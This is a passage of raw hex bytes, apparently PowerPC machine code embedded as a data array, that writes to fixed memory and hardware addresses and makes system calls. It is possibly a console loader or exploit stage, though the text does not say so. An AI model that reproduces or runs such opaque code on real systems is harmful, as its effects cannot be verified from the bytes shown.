0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd7, 0x28, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xf1, 0x60, 0x63, 0xd8, 0x2c, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x60, 0xff, 0xee, 0x60, 0x63, 0x00, 0x02, 0x7c, 0x78, 0x83, 0xa6, 0x3c, 0x60, 0xff, 0xee, 0x60, 0x63, 0x00, 0x32, 0x7c, 0x79, 0x83, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x3c, 0x80, 0x60, 0x00, 0x3c, 0x60, 0xff, 0xee, 0x60, 0x63, 0x11, 0xc4, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x3c, 0x60, 0xff, 0xee, 0x60, 0x63, 0x11, 0xc8, 0x90, 0x83, 0x00, 0x00, 0x7c, 0x00, 0x18, 0xac, 0x7c, 0x00, 0x1f, 0xac, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x7f, 0xd8, 0x83, 0xa6, 0x7f, 0xf9, 0x83, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x4c, 0x00, 0x00, 0x64, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xe0, 0x3d, 0x20, 0x01, 0x02, 0x3c, 0xa0, 0x01, 0x80, 0x61, 0x29, 0xb8, 0x28, 0x93, 0xe1, 0x00, 0x1c, 0x90, 0x01, 0x00, 0x24, 0x7c, 0x9f, 0x23, 0x78, 0x38, 0xa5, 0x1c, 0x6c, 0x38, 0x80, 0x00, 0x00, 0x38, 0xc1, 0x00, 0x08, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x9f, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x18, 0x81, 0x21, 0x00, 0x08, 0x3b, 0xff, 0xff, 0xff, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x4b, 0xff, 0xff, 0xe8, 0x39, 0x61, 0x00, 0x20, 0x48, 0x00, 0x19, 0x1c, 0x94, 0x21, 0xff, 0xc8, 0x7c, 0x08, 0x02, 0xa6, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0x80, 0x00, 0x00, 0xbf, 0xa1, 0x00, 0x2c, 0x3f, 0xc0, 0x01, 0x02, 0x63, 0xde, 0xb8, 0x28, 0x90, 0x01, 0x00, 0x3c, 0x7f, 0xc9, 0x03, 0xa6, 0x38, 0xa5, 0x1c, 0x7a, 0x38, 0xc1, 0x00, 0x1c, 0x7c, 0x7f, 0x1b, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1c, 0x81, 0x38, 0xc1, 0x00, 0x18, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1c, 0x93, 0x38, 0xc1, 0x00, 0x14, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1c, 0xa2, 0x38, 0xc1, 0x00, 0x10, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1c, 0xb4, 0x38, 0xc1, 0x00, 0x0c, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0xc1, 0x00, 0x08, 0x38, 0xa5, 0x1c, 0xbd, 0x38, 0x80, 0x00, 0x00, 0x7f, 0xc9, 0x03, 0xa6, 0x7f, 0xe3, 0xfb, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x18, 0x7c, 0x7d, 0x1b, 0x78, 0x38, 0x80, 0x00, 0x40, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x60, 0x01, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x1c, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x01, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x7c, 0x7e, 0x1b, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x10, 0x7f, 0xc4, 0xf3, 0x78, 0x38, 0xa0, 0x00, 0x03, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xe0, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x7f, 0xa3, 0xeb, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x0c, 0x7f, 0xa3, 0xeb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x14, 0x7f, 0xc3, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0x80, 0x00, 0x03, 0x7f, 0xe3, 0xfb, 0x78, 0x60, 0x84, 0xff, 0xff, 0x4b, 0xff, 0xfe, 0x61, 0x39, 0x61, 0x00, 0x38, 0x48, 0x00, 0x17, 0xc0, 0x94, 0x21, 0xff, 0xd8, 0x7c, 0x08, 0x02, 0xa6, 0x3d, 0x20, 0x01, 0x02, 0xbf, 0xa1, 0x00, 0x1c, 0x61, 0x29, 0xb8, 0x28, 0x7c, 0xbe, 0x2b, 0x78, 0x3c, 0xa0, 0x01, 0x80, 0x90, 0x01, 0x00, 0x2c, 0x7c, 0x9d, 0x23, 0x78, 0x7c, 0xdf, 0x33, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1c, 0xc5, 0x38, 0xc1, 0x00, 0x08, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x7f, 0xa4, 0xeb, 0x78, 0x7f, 0xc5, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x7f, 0xe6, 0xfb, 0x78, 0x38, 0x60, 0x00, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x38, 0x60, 0x00, 0x01, 0x7f, 0xa4, 0xeb, 0x78, 0x7f, 0xc5, 0xf3, 0x78, 0x7f, 0xe6, 0xfb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x39, 0x61, 0x00, 0x28, 0x48, 0x00, 0x17, 0x44, 0x94, 0x21, 0xff, 0xd8, 0x7c, 0x08, 0x02, 0xa6, 0x3d, 0x20, 0x01, 0x02, 0xbf, 0x81, 0x00, 0x18, 0x61, 0x29, 0xb8, 0x28, 0x7c, 0xbd, 0x2b, 0x78, 0x3c, 0xa0, 0x01, 0x80, 0x90, 0x01, 0x00, 0x2c, 0x38, 0xa5, 0x1c, 0xd7, 0x7d, 0x29, 0x03, 0xa6, 0x7c, 0x9e, 0x23, 0x78, 0x7c, 0xdc, 0x33, 0x78, 0x38, 0x80, 0x00, 0x00, 0x38, 0xc1, 0x00, 0x08, 0x7c, 0xff, 0x3b, 0x78, 0x57, 0x9c, 0x40, 0x2e, 0x57, 0xbd, 0x80, 0x1e, 0x7f, 0x9f, 0xfb, 0x78, 0x57, 0xde, 0xc0, 0x0e, 0x7f, 0xff, 0xeb, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x7f, 0xff, 0xf3, 0x78, 0x38, 0x60, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x7f, 0xe4, 0xfb, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x38, 0x60, 0x00, 0x01, 0x7f, 0xe4, 0xfb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x39, 0x61, 0x00, 0x28, 0x48, 0x00, 0x16, 0xb8, 0x94, 0x21, 0xff, 0xe0, 0x7c, 0x08, 0x02, 0xa6, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0x80, 0x00, 0x00, 0xbf, 0xc1, 0x00, 0x18, 0x3f, 0xe0, 0x01, 0x02, 0x63, 0xff, 0xb8, 0x28, 0x90, 0x01, 0x00, 0x24, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0xa5, 0x1c, 0xed, 0x38, 0xc1, 0x00, 0x10, 0x7c, 0x7e, 0x1b, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x7f, 0xc3, 0xf3, 0x78, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1c, 0xfa, 0x38, 0xc1, 0x00, 0x0c, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0xa5, 0x1d, 0x10, 0x38, 0xc1, 0x00, 0x08, 0x38, 0x80, 0x00, 0x00, 0x7f, 0xe9, 0x03, 0xa6, 0x7f, 0xc3, 0xf3, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x38, 0x60, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x7c, 0x7f, 0x1b, 0x78, 0x38, 0x60, 0x00, 0x01, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x10, 0x7c, 0x64, 0x1b, 0x78, 0x3c, 0x7f, 0xf4, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x10, 0x7f, 0xe4, 0xfb, 0x78, 0x3c, 0x60, 0xf4, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x0c, 0x38, 0x60, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x0c, 0x38, 0x60, 0x00, 0x01, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x39, 0x61, 0x00, 0x20, 0x48, 0x00, 0x15, 0xe0, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xe8, 0xbf, 0x81, 0x00, 0x08, 0x7c, 0x7f, 0x1b, 0x78, 0x90, 0x01, 0x00, 0x1c, 0x7c, 0x9d, 0x23, 0x78, 0x7c, 0xbc, 0x2b, 0x78, 0x3b, 0xc0, 0x00, 0x02, 0x38, 0xe0, 0x00, 0x00, 0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x4b, 0xff, 0xfe, 0x65, 0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x80, 0x00, 0x00, 0x7f, 0x85, 0xe3, 0x78, 0x7f, 0xa6, 0xeb, 0x78, 0x4b, 0xff, 0xfd, 0xd5, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xff, 0xfe, 0xd1, 0x37, 0xde, 0xff, 0xff, 0x40, 0xa2, 0xff, 0xc8, 0x39, 0x61, 0x00, 0x18, 0x48, 0x00, 0x15, 0x74, 0x94, 0x21, 0xff, 0xe0, 0x7c, 0x08, 0x02, 0xa6, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0x80, 0x00, 0x00, 0xbf, 0xc1, 0x00, 0x18, 0x3f, 0xc0, 0x01, 0x02, 0x63, 0xde, 0xb8, 0x28, 0x90, 0x01, 0x00, 0x24, 0x7f, 0xc9, 0x03, 0xa6, 0x38, 0xa5, 0x1d, 0x28, 0x38, 0xc1, 0x00, 0x10, 0x7c, 0x7f, 0x1b, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0x10, 0x38, 0xc1, 0x00, 0x0c, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0xa5, 0x1d, 0x35, 0x38, 0xc1, 0x00, 0x08, 0x38, 0x80, 0x00, 0x00, 0x7f, 0xe3, 0xfb, 0x78, 0x7f, 0xc9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x10, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x0c, 0x38, 0x60, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x0c, 0x7c, 0x7e, 0x1b, 0x78, 0x38, 0x60, 0x00, 0x01, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x3c, 0x80, 0xf4, 0x00, 0x38, 0x60, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x3c, 0x9e, 0xf4, 0x00, 0x38, 0x60, 0x00, 0x01, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xe0, 0x00, 0x00, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xff, 0xfd, 0x5d, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xff, 0xfd, 0xdd, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xe0, 0x00, 0x00, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xff, 0xfd, 0x3d, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xff, 0xfd, 0xbd, 0x3c, 0x80, 0x01, 0x80, 0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x84, 0x1d, 0x49, 0x38, 0xa0, 0x00, 0x00, 0x4b, 0xff, 0xfe, 0x89, 0x39, 0x61, 0x00, 0x20, 0x48, 0x00, 0x14, 0x5c, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xe0, 0x3d, 0x20, 0x01, 0x02, 0x3c, 0xa0, 0x01, 0x80, 0x61, 0x29, 0xb8, 0x28, 0x93, 0xe1, 0x00, 0x1c, 0x7d, 0x29, 0x03, 0xa6, 0x90, 0x01, 0x00, 0x24, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0x61, 0x38, 0xc1, 0x00, 0x08, 0x7c, 0x7f, 0x1b, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xe0, 0x00, 0x00, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xff, 0xfc, 0xcd, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xff, 0xfd, 0x4d, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xe0, 0x00, 0x00, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xff, 0xfc, 0xad, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xff, 0xfd, 0x2d, 0x81, 0x21, 0x00, 0x08, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x39, 0x61, 0x00, 0x20, 0x48, 0x00, 0x13, 0xd8, 0x94, 0x21, 0xff, 0xd8, 0x7c, 0x08, 0x02, 0xa6, 0x3c, 0xa0, 0x01, 0x80, 0xbf, 0xa1, 0x00, 0x1c, 0x3f, 0xe0, 0x01, 0x02, 0x63, 0xff, 0xb8, 0x28, 0x90, 0x01, 0x00, 0x2c, 0x7f, 0xe9, 0x03, 0xa6, 0x7c, 0x9d, 0x23, 0x78, 0x38, 0xa5, 0x1c, 0x81, 0x38, 0x80, 0x00, 0x00, 0x38, 0xc1, 0x00, 0x14, 0x7c, 0x7e, 0x1b, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0x67, 0x38, 0xc1, 0x00, 0x10, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0x76, 0x38, 0xc1, 0x00, 0x0c, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0xa5, 0x1d, 0x85, 0x38, 0xc1, 0x00, 0x08, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x14, 0x38, 0x80, 0x00, 0x20, 0x38, 0x60, 0x03, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x14, 0x7c, 0x7e, 0x1b, 0x78, 0x38, 0x80, 0x00, 0x08, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x60, 0x10, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x61, 0x00, 0x10, 0x39, 0x20, 0x00, 0x00, 0x7f, 0xa4, 0xeb, 0x78, 0x7d, 0x69, 0x03, 0xa6, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xfe, 0x03, 0x00, 0x39, 0x00, 0x03, 0x00, 0x39, 0x40, 0x00, 0x1a, 0x7c, 0x7f, 0x1b, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x0c, 0x7f, 0xe3, 0xfb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x7f, 0xe3, 0xfb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x83, 0x00, 0x00, 0x40, 0x9e, 0x00, 0x28, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x4b, 0xff, 0xff, 0xc8, 0x39, 0x61, 0x00, 0x28, 0x48, 0x00, 0x12, 0x98, 0x38, 0xa5, 0x00, 0x01, 0x39, 0x20, 0x00, 0x00, 0x7c, 0xa9, 0x03, 0xa6, 0x42, 0x40, 0x00, 0x1c, 0x7d, 0x03, 0x48, 0xae, 0x7d, 0x44, 0x48, 0xae, 0x7f, 0x88, 0x50, 0x00, 0x40, 0x9e, 0x00, 0x14, 0x39, 0x29, 0x00, 0x01, 0x4b, 0xff, 0xff, 0xe8, 0x38, 0x60, 0x00, 0x00, 0x4e, 0x80, 0x00, 0x20, 0x38, 0x60, 0x00, 0x01, 0x4e, 0x80, 0x00, 0x20, 0x38, 0xa5, 0x00, 0x01, 0x39, 0x20, 0x00, 0x00, 0x7c, 0xa9, 0x03, 0xa6, 0x42, 0x40, 0x00, 0x14, 0x7d, 0x44, 0x48, 0xae, 0x7d, 0x43, 0x49, 0xae, 0x39, 0x29, 0x00, 0x01, 0x4b, 0xff, 0xff, 0xf0, 0x4e, 0x80, 0x00, 0x20, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xe8, 0xbf, 0x81, 0x00, 0x08, 0x7c, 0x7e, 0x1b, 0x78, 0x90, 0x01, 0x00, 0x1c, 0x7c, 0x9d, 0x23, 0x78, 0x7c, 0xbf, 0x2b, 0x78, 0x3f, 0x80, 0x01, 0x80, 0x7f, 0x9f, 0xe0, 0x00, 0x41, 0x9e, 0x00, 0x24, 0x7f, 0xe3, 0xfb, 0x78, 0x7f, 0xc4, 0xf3, 0x78, 0x7f, 0xa5, 0xeb, 0x78, 0x4b, 0xff, 0xff, 0x71, 0x2f, 0x83, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x5c, 0x3b, 0xff, 0x00, 0x04, 0x4b, 0xff, 0xff, 0xdc, 0x3f, 0x80, 0x0f, 0x84, 0x3f, 0xe0, 0x0d, 0x80, 0x63, 0x9c, 0x8a, 0x0c, 0x7f, 0xe3, 0xfb, 0x78, 0x7f, 0xc4, 0xf3, 0x78, 0x7f, 0xa5, 0xeb, 0x78, 0x4b, 0xff, 0xff, 0x45, 0x2f, 0x83, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x30, 0x3b, 0xff, 0x00, 0x04, 0x7f, 0x9f, 0xe0, 0x00, 0x40, 0x9e, 0xff, 0xe0, 0x3d, 0x20, 0x01, 0x03, 0x3c, 0x60, 0x01, 0x80, 0x61, 0x29, 0x16, 0x18, 0x38, 0x63, 0x1d, 0x9a, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x38, 0x60, 0x00, 0x00, 0x48, 0x00, 0x00, 0x08, 0x7f, 0xe3, 0xfb, 0x78, 0x39, 0x61, 0x00, 0x18, 0x48, 0x00, 0x11, 0x94, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xf0, 0x93, 0xe1, 0x00, 0x0c, 0x7c, 0x7f, 0x1b, 0x78, 0x90, 0x01, 0x00, 0x14, 0x38, 0x60, 0x00, 0x01, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xe0, 0x00, 0x00, 0x3d, 0x00, 0x00, 0x01, 0x7f, 0xe9, 0xfb, 0x78, 0x38, 0x00, 0x34, 0x00, 0x7c, 0x3f, 0x0b, 0x78, 0x44, 0x00, 0x00, 0x02, 0x60, 0x00, 0x00, 0x00, 0x7f, 0xe1, 0xfb, 0x78, 0x7c, 0x7f, 0x1b, 0x78, 0x39, 0x61, 0x00, 0x10, 0x7f, 0xe3, 0xfb, 0x78, 0x48, 0x00, 0x11, 0x4c, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xf0, 0xbf, 0xc1, 0x00, 0x08, 0x7c, 0x7f, 0x1b, 0x78, 0x90, 0x01, 0x00, 0x14, 0x7c, 0x9e, 0x23, 0x78, 0x38, 0x60, 0x00, 0x01, 0x38, 0x80, 0x00, 0x00, 0x7f, 0xc5, 0xf3, 0x78, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xe0, 0x00, 0x00, 0x3d, 0x00, 0x00, 0x01, 0x7f, 0xe9, 0xfb, 0x78, 0x7c, 0x3e, 0x0b, 0x78, 0x38, 0x00, 0x35, 0x00, 0x44, 0x00, 0x00, 0x02, 0x60, 0x00, 0x00, 0x00, 0x7f, 0xc1, 0xf3, 0x78, 0x39, 0x61, 0x00, 0x10, 0x48, 0x00, 0x10, 0xf8, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xfe, 0xe0, 0x39, 0x20, 0x00, 0x00, 0x7c, 0x24, 0x0b, 0x78, 0xbe, 0xa1, 0x00, 0xf4, 0x90, 0x01, 0x01, 0x24, 0x7c, 0x7c, 0x1b, 0x78, 0x95, 0x24, 0x00, 0xe0, 0x3d, 0x20, 0x01, 0x02, 0x61, 0x29, 0xa3, 0xb4, 0x83, 0xc3, 0x00, 0x04, 0x3c, 0x60, 0x01, 0x80, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x63, 0x1d, 0xac, 0x3f, 0xe0, 0x01, 0x02, 0x63, 0xff, 0xb8, 0x28, 0x3f, 0xa0, 0x01, 0x80, 0x3b, 0xbd, 0x1b, 0xd0, 0x4e, 0x80, 0x04, 0x21, 0x7f, 0xc3, 0xf3, 0x78, 0x4b, 0xff, 0xf7, 0x91, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0xb4, 0x38, 0xc1, 0x00, 0xdc, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0x61, 0x38, 0xc1, 0x00, 0xd8, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1c, 0xed, 0x38, 0xc1, 0x00, 0xd4, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0xbe, 0x38, 0xc1, 0x00, 0xd0, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0xd0, 0x38, 0xc1, 0x00, 0xcc, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0xdd, 0x38, 0xc1, 0x00, 0xc8, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1c, 0x81, 0x38, 0xc1, 0x00, 0xc4, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1c, 0x93, 0x38, 0xc1, 0x00, 0xc0, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0x67, 0x38, 0xc1, 0x00, 0xbc, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0x76, 0x38, 0xc1, 0x00, 0xb8, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1d, 0xf3, 0x38, 0xc1, 0x00, 0xb4, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0xc1, 0x00, 0xb0, 0x7f, 0xe9, 0x03, 0xa6, 0x7f, 0xc3, 0xf3, 0x78, 0x38, 0xa5, 0x1d, 0x85, 0x38, 0x80, 0x00, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x38, 0x61, 0x00, 0x88, 0x7c, 0xbd, 0x64, 0xaa, 0x7c, 0xa3, 0x65, 0xaa, 0x38, 0x80, 0x00, 0x0c, 0x80, 0xa1, 0x00, 0xdc, 0x4b, 0xff, 0xfd, 0x01, 0x39, 0x5d, 0x00, 0x0c, 0x7c, 0x78, 0x1b, 0x78, 0x38, 0x61, 0x00, 0x7c, 0x7c, 0xaa, 0x64, 0xaa, 0x7c, 0xa3, 